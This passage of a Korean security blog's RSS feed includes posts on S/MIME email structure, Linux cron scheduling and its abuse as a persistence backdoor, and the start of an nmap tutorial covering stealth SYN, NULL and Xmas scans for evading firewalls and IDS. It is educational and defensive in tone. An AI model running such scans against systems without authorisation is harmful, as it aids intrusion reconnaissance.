&lt;p data-ke-size=&quot;size16&quot;&gt;특히 S/MIME은 PGP와 달리 X.509 인증서를 기반으로 동작하며 표준 이메일 ㅍ포맷인 MIME 위에 보안을 덧붙이는 방식 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Microsoft Outlook, Apple Mail, thunderbird 등 주요 이메일 클라이언트는 S/MIME을 기본적으로 지원하며, 기업은 내부 CA 또는 외부 CA를 통해 인증서를 배포하고 관리합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;이메일 MIME 구조&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1749353987753&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Content-Type: multipart/signed;
    protocol=&quot;application/pkcs7-signature&quot;;
    micalg=sha-256;
    boundary=&quot;----SignedBoundary&quot;

------SignedBoundary
Content-Type: text/plain; charset=&quot;utf-8&quot;

안녕하세요, 이 메일은 서명되어 있습니다.

------SignedBoundary
Content-Type: application/pkcs7-signature; name=&quot;smime.p7s&quot;
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDjAMBggqhkiG9w0CBQUAMAsG...
(생략된 서명 데이터)

------SignedBoundary--&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;암호화된 이메일 S/MIME 구조&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1749354006781&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Content-Type: application/pkcs7-mime; smime-type=enveloped-data;
    name=&quot;smime.p7m&quot;
Content-Transfer-Encoding: base64

MIIBOwYJKoZIhvcNAQcDoIIBLzCCA...
(암호화된 전체 메시지 - Base64 인코딩)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전체 메시지 내용이 암호화된 PKCS#7 형식&lt;/li&gt;
&lt;li&gt;수신자는 자신의 개인키로 복호화해야 메시지를 볼 수 있음&lt;/li&gt;
&lt;li&gt;실제 이메일 내용은 복호화 후에만 확인 가능&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>정보보호</category>
      <category>PEM</category>
      <category>pgp</category>
      <category>S/MIME</category>
      <category>이메일 보안</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/56</guid>
      <comments>https://defcon.tistory.com/56#entry56comment</comments>
      <pubDate>Sun, 8 Jun 2025 12:41:06 +0900</pubDate>
    </item>
    <item>
      <title>리눅스 작업스케줄러 cron</title>
      <link>https://defcon.tistory.com/55</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;cron 이란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스에서 cron은 정기적인 작업을 자동으로 실행할 수 있도록 도와주는 시간 기반의 작업 스케줄러입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템관리자나 사용자들이 백업, 로그정리, 자동업데이트 등 반복적인 작업을 자동화할 때 주로 사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;기본 개념&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;cron 데몬은 백그라운드에서 실행되며, 설정된 스케줄에 따라 지정된 명령어를 자동으로 실행합니다.&lt;/li&gt;
&lt;li&gt;스케줄은 crontab 파일에 등록하며, 사용자별로 설정할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;crontab 문법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;crontab 파일은 다음과 같은 형식으로 작업을 등록합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1749266721481&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;분 시 일 월 요일 명령어&lt;/code&gt;&lt;/pre&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;필드&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;의미&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;허용값&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;분&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Minute&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;0-59&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;시&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Hour&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;0-23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;일&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Day of Month&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;1-31&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;월&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Month&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;1-12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;요일&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Day of Week&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;0-7&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1749266820563&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0 3 * * * /home/user/backup.sh&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;매일 새벽 3시에 /home/user/backup.sh 실행&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;crontab 명령어&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;명령어&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;crontab -e&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;현재 사용자용 crontab 파일 편집&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;crontab -l&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;현재 사용자용 crontab 내용 보기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;crontab -r&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;현재 사용자용 crontab 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;crontab -u 사용자명 &amp;nbsp;-e&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;특정 사용자의 crontab 수정(root만)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;예제&lt;/b&gt;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;crontab 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;매일 정오에 스크립트 실행&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;0 12 * * * /home/user/script.sh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;매주 일요일 1시 실행&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;0 1 * * * /usr/bin/weekly_cleanup&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;매 10분마다 실행&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;*/10 * * * * /home/user/check.sh&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;로그 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cron 실행 결과는 일반적으로 메일로 발송되거나 로그파일에 저장됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로그 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1749267037965&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat /var/log/cron  # RHEL/CentOS
journalctl -u cron.service  # Debian/Ubuntu&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;출력 리디렉션 예시&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1749267049764&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;* * * * * /home/user/script.sh &amp;gt;&amp;gt; /home/user/log.txt 2&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;리눅스 작업스케줄러 cron이 정보보호 관점에서 중요한 이유&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 자동화된 보안 작업 수행&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보안 패치 자동화
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정기적으로 보안 업데이트 스크림ㅂ트를 실행하여 시스템을 최신 상태로 유지 가능
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;취약점 노출 시간 최소화&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;로그 백업 및 분석
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로그파일을 주기적으로 수집, 백업 또는 정리하여 보안감사를 위한 증적 보존 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;데이터 암호화 및 전송
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;중요한 파일을 자동 암호화하거나 외부 서버로 안전하게 전송하는 작업 자동화 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 악용될 경우 보안 위협 요소&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;백도어로 악용 가능
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자가 crontab에 악성 명령어를 등록하면 지속적인 악성행위가 자동 실행됨&lt;br /&gt;ex. reverse shell, &amp;nbsp;정보 탈취 스크립트 등&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;탐지 우회
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;cron은 백그라운드에서 조용히 작동하기 때문에 운영자도 눈치채기 어려움&lt;/li&gt;
&lt;li&gt;타임 기반으로 실행되므로 흔적 없이 정기적으로 활동 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;권한문제
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;루트 권한으로 실행되는 cron 작업은 시스템에 치명적인 영향을 줄 수 있음
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;설정 실수 또는 권한 오용 시 전면적인 시스템 훼손 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;정보보호 관점에서의 cron 관리 포인트&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;접근 제어&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;cron.allow / cron.deny 파일로 실행 가능한 사용자 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;무결성 점검&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;crontab 파일과 실행 스크립트의 변경 여부를 정기적으로 모니터링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;로그 감사&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;cron fㅗ그를 별도로 수집하고 분석해 이상 행동 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;스크립트 검증&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;실행되는 스크립트는 사전 검토 및 무결성 체크 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;최소 권한 원칙 적용&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;가능한 한 일반 사용자 권한으로 작업 등록(root는 제한적으로 사용)ㅠ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
      <category>정보보호</category>
      <category>cron</category>
      <category>crontab</category>
      <category>리눅스</category>
      <category>작업스케줄러</category>
      <category>크론탭</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/55</guid>
      <comments>https://defcon.tistory.com/55#entry55comment</comments>
      <pubDate>Sat, 7 Jun 2025 12:37:13 +0900</pubDate>
    </item>
    <item>
      <title>포트스캐닝 도구 nmap 사용 방법 및 스텔스 스캔</title>
      <link>https://defcon.tistory.com/54</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;nmap이란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nmap은 네트워크 보안 및 관리에서 널리 사용되는 오픈소스도구로 주로 포트스캐닝, 호스트 탐지, 서비스 및 운영체제 식별, 취약점 진단 등에 사용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;강력하면서도 유연하게 구성이 가능하고 보안전문가 뿐만 아니라 시스테 ㅁ관리자도 자주 활용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;nmap의 주요 기능&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;기능&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;호스트 탐지( Ping Scan)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;네트워크 상에 에떤 시스템이 활성화되어 있는지 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;포트 스캔(Port Scan)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;대상 시스템의 어떤 포트가 열려있는지 확인합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;서비스 버전 탐지(Service Version Detection)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;열려있는 포트웨서 어떤 서비스가 어떤 버전으로 실행중인지 파악&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;운영체제 탐지(OS Detection)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;대상 시스템의 OS종류와 버전을 추측&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;스크립트 엔진(NSE)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;다양한 보안 테스트와 취약점 진단을 수행할 수 있는 스크립트 실행 기능을 제공&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;대표적인 nmap 사용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 기본 포트 스캔&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1749188128906&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nmap 192.168.0.1&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;대상 호스트의 TCP 포트 상태를 기본적으로 확인합니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 범위 스캔&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1749188174710&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nmap 192.168.0.1-50&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;여러 호스트에 대해 동시에 스캔합니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. 서비스 버전 탐지&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1749188205136&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nmap -sV 192.168.0.1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4. 운영체제 탐지&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1749188219106&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nmap -O 192.168.0.1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;5. Nmap Scripting Engine 사용 예&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1749188241494&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nmap --script=vuln 192.168.0.1&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;알려진 취약점 스크립트를 이용해 간단한 취약점 진단을 수행합니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;포트 스캔 방식의 종류&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.116279%;&quot;&gt;스캔 방식&lt;/td&gt;
&lt;td style=&quot;width: 74.883721%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.116279%;&quot;&gt;TCP Connect Scan(-sT)&lt;/td&gt;
&lt;td style=&quot;width: 74.883721%;&quot;&gt;TCP 3-way 핸드셰이크를 완료해 포트상태를 파악(탐지 쉬움)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.116279%;&quot;&gt;SYN Scan(-sS)&lt;/td&gt;
&lt;td style=&quot;width: 74.883721%;&quot;&gt;&quot;Half-Open&quot; 스캔. 핸드셰이크를 완료하지 않음(스텔스 성격)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.116279%;&quot;&gt;UDP Scan(-sU)&lt;/td&gt;
&lt;td style=&quot;width: 74.883721%;&quot;&gt;UDP 포트를 스캔(응답이 없어도 분석이 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.116279%;&quot;&gt;FIN, NULL, Xmas Scan&lt;/td&gt;
&lt;td style=&quot;width: 74.883721%;&quot;&gt;방화벽이나 IDS 우회를 위한 특수 플래그 스캔&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;기본 스캔 옵션&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;옵션&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-sS&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;SYN 스캔(Stealth scan) 빠르고 탐지가 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-sT&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;TCP Connect 스캔 - 시스템 호출을 이용해 연결(탐지 쉬움)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-sU&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;UDP 스컌 - UDP 포트에 대해 스캔 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-sA&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;ACK 스캔 - 방화벽 규칙 확인용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-sN&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;NULL 스캔 - 플래그 없는 패킷 전송(비표준 탐지 우회)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-p&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;특정 포트 지정(-p 80, -p 1-1000)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;탐지 및 식별 옵션&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;옵션&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-O&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;운영체제 탐지(OS Detection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-sV&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;서비스 버전 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-A&lt;/td&gt;
